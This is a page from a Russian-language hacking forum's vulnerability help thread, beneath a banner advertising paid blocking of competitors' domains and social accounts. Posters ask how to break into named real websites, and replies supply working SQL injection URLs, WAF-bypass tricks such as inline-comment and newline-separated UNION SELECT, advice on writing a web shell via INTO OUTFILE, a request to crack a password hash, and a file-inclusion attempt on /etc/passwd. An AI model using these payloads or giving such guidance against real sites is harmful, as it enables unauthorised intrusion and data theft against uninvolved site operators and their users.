УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 2425 из 2438

2425

Опции темы

Поиск в этой теме

Опции просмотра

#24241

17.03.2015, 01:36

Br@!ns

Guest

Сообщений: n/a

Провел на форуме:
179197

Репутация: 25

http://www.hamradio.com/admincp/verify.cfm

Цитата:

Сообщение от None

Host: www.hamradio.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: https://www.hamradio.com/admincp/index.cfm?
Cookie: CFID=54197482; CFTOKEN=957af494ba314ff-693DD1BD-0BF9-31D4-303E00DEA9A30085; JSESSIONID=8430defa8ed5f0bc59ad96b27514a6a5f2c1; __utma=76036236.1185247189.1426531794.1426531794.1 426531794.1; __utmb=76036236.8.10.1426531794; __utmc=76036236; __utmz=76036236.1426531794.1.1.utmcsr=(direct)|utm ccn=(direct)|utmcmd=(none); __utmt=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

POST

Цитата:

Сообщение от None

username=11111111111111111111111111111111111111111 11111111111111&password=56yth

Можно ли как нибудь проникнуть тут?

#24242

17.03.2015, 13:20

Br@!ns

Guest

Сообщений: n/a

Провел на форуме:
179197

Репутация: 25

И еще один, не выходит раскрутить, непонятно что и как фильтрует. Подскажите.

Цитата:

Сообщение от None

http://www.maesen.com/sexshop/ArticulosMini.php?pagina=45+and+1=1 - true
http://www.maesen.com/sexshop/ArticulosMini.php?pagina=45+and+2=0 - false
http://www.maesen.com/sexshop/ArticulosMini.php?pagina=45+and+substr(@@version,1 ,1))=5 - false
http://www.maesen.com/sexshop/ArticulosMini.php?pagina=45+and+substr(@@version,1 ,1))=4 - false

#24243

17.03.2015, 14:13

BigBear

Новичок

Регистрация: 04.12.2008

Сообщений: 11

Провел на форуме:
69033

Репутация: 8

Цитата:

Сообщение от Br@!ns

Br@!ns said:
И еще один, не выходит раскрутить, непонятно что и как фильтрует. Подскажите.

Бегло осмотрел.

MQ on

Фильтруются запятые, служебные символы типа @

Скобки не фильтруются.

Попробуй функции, которым не нужна запятая в синтаксисе

Типа

http://www.maesen.com/sexshop/ArticulosMini.php?pagina=45+and+49=(select+ascii(( 1)))

Опять же некоторые выборочно фильтруются. Функция Ord например.

Может быть, есть смысл пообходить ваф. Я сейчас не в тех условиях, когда могу генерировать траффик =)

Направление для мыслей дал.

#24244

18.03.2015, 17:36

MaxFast

Guest

Сообщений: n/a

Провел на форуме:
178623

Репутация: 94

Как обойти сей WAF:

Код:

Code:
http://www.szrf.ru/oglavlenie.phtml?nb=edition00&issid=-2015009000+order+by+8--

Задержка какая-то если использовать union select.

#24245

18.03.2015, 17:39

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

Провел на форуме:
1066435

Репутация: 1013

Цитата:

Сообщение от MaxFast

MaxFast said:
Как обойти сей WAF:

Код:

Code:
http://www.szrf.ru/oglavlenie.phtml?nb=edition00&issid=-2015009000+order+by+8--

Задержка какая-то если использовать union select.

все стандартно:

Код:

Code:
http://www.szrf.ru/oglavlenie.phtml?nb=edition00&issid=-2015009000+/*!union*/+select+1,2,3,4,5,version(),7,8--+

error-based:

Код:

Code:
http://www.szrf.ru/oglavlenie.phtml?nb=edition00&issid=-2015009000+|%28select*from%28select%20name_const%28version%28%29,1%29,name_const%28version%28%29,1%29%29a%29

главное, чтобы не было union (возможно что-то еще, не смотрел дальше)

#24246

18.03.2015, 17:43

MaxFast

Guest

Сообщений: n/a

Провел на форуме:
178623

Репутация: 94

Цитата:

Сообщение от faza02

faza02 said:
все стандартно:

Код:

Code:
http://www.szrf.ru/oglavlenie.phtml?nb=edition00&issid=-2015009000+/*!union*/+select+1,2,3,4,5,version(),7,8--+

error-based:

Код:

Code:
http://www.szrf.ru/oglavlenie.phtml?nb=edition00&issid=-2015009000+|%28select*from%28select%20name_const%28version%28%29,1%29,name_const%28version%28%29,1%29%29a%29

главное, чтобы не было union (возможно что-то еще, не смотрел дальше)

То есть задержка из-за union? Странные они. Я даже не подумал.

#24247

18.03.2015, 17:54

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

Провел на форуме:
1066435

Репутация: 1013

Цитата:

Сообщение от MaxFast

MaxFast said:
То есть задержка из-за union? Странные они. Я даже не подумал.

реакция на UNION вместе с SELECT. может пройти что-то одно из этого

можно еще так:

union%0Aselect или любым другим пробелом

#24248

20.03.2015, 18:14

Jamsho0T

Новичок

Регистрация: 14.07.2009

Сообщений: 4

Провел на форуме:
69016

Репутация: 3

Всем привет, нужна помощь:

magic_quotes_gpc On On

file priv Y

если захексить кавычку, то она выводится на страницу, без ошибок(Into Outfile + двойной запрос не покатил)

через двойной запрос отображается +and+1=0+union+select+'',777+from+mysql.user+into+ outfile.., а между ковычек отображается к исходном коде, но в файл не записывается.

Есть еще способы залить шелл?

И если у кого есть большой словарь, расшифруйте:

f9fce403c946f20f5b0634d7fffcbbcf

з.ы полный путь естественно есть

криво описал

#24249

20.03.2015, 18:15

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

Провел на форуме:
1066435

Репутация: 1013

Цитата:

Сообщение от Jamsho0T

Jamsho0T said:
Всем привет, нужна помощь:
magic_quotes_gpc
On On
file priv
Y
если захексить кавычку, то она выводится на страницу, без ошибок(Into Outfile + двойной запрос не покатил)
через двойной запрос отображается +and+1=0+union+select+'',777+from+mysql.user+into+ outfile.., а между ковычек

отображается к исходном коде, но в файл не записывается.
Есть еще способы залить шелл?
з.ы полный путь естественно есть
криво описал

чтобы указать путь до файла нужны реальные кавычки в нормальном виде

#24250

20.03.2015, 22:21

teh

Guest

Сообщений: n/a

Провел на форуме:
26437

Репутация: -2

Здраствуйте. Нашел ошибку file inclusion. Но когда питаюсь подключить сайти или вывести файл etc/passwd получаю

Warning: include(../kinonetwork/../../../../../../../../../../etc/passwd.html): failed to open stream: No such file or directory in /home/kinopal/main/tmpl/network.php on line 6

Warning: include(../kinonetwork/../../../../../../../../../../etc/passwd.html): failed to open stream: No such file or directory in /home/kinopal/main/tmpl/network.php on line 6

Warning: include(): Failed opening '../kinonetwork/../../../../../../../../../../etc/passwd.html' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/kinopal/main/tmpl/network.php on line 6

подставляю %00 и получаю

Warning: include(): Failed opening '../kinonetwork/../../../../../../../../../../etc/passwd' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/kinopal/main/tmpl/network.php on line 6

можно что нибудь сделать или уже ничего не вытащить?

Страница 2425 из 2438

2425

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход